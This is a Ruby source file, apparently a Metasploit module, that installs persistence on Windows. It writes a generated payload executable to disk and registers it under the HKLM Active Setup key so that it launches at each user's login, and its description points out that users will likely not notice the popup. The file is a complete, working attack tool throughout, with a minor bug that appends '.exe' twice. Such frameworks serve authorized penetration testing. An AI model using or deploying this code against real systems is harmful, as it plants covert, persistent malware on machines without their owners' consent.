h00die
105 lines
4.1 KiB
Ruby
105 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::Powershell
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include Msf::Post::Windows::Registry
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::Local::Persistence
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Registry Active Setup Persistence',
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'Description' => %q{
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This module will register a payload to run via the Active Setup mechanism in Windows.
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Active Setup is a Windows feature that runs once per user at login.
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It triggers in a user context, losing privileges from admin to user.
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Active Setup will open a popup box with "Personalized Settings" and the text
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"Setting up personalized settings for: <SETUP_NAME>". However
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this won't occur until the login screen has exited (but before the desktop
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is loaded), and our execution is extremely fast so likely the user will not
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see it.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'h00die',
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => ['meterpreter', 'shell'],
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'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
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'Targets' => [
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[ 'Automatic', {} ]
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],
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
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['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],
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['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
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['URL', 'https://hadess.io/the-art-of-windows-persistence/']
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2015-12-01',
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'Notes' => {
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'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]
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}
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)
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)
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register_options([
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OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
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OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']),
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])
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end
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def regkey
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'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components'
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end
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def check
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return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
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vprint_good('Powershell detected on system')
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# test write to see if we have access
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rand = Rex::Text.rand_guid
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vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
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return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?
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registry_deletekey("#{regkey}\\#{rand}")
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Msf::Exploit::CheckCode::Vulnerable('Registry writable')
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end
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def install_persistence
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payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
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payload_exe = generate_payload_exe
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payload_pathname = writable_dir + '\\' + payload_name + '.exe'
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vprint_good("Writing payload to #{payload_pathname}")
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fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
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rand = Rex::Text.rand_guid
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rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}")
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print_status("Using installer guid: #{rand}")
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registry_createkey("#{regkey}\\#{rand}")
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registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
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registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ')
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@clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n)
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@clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n)
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@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
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end
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end
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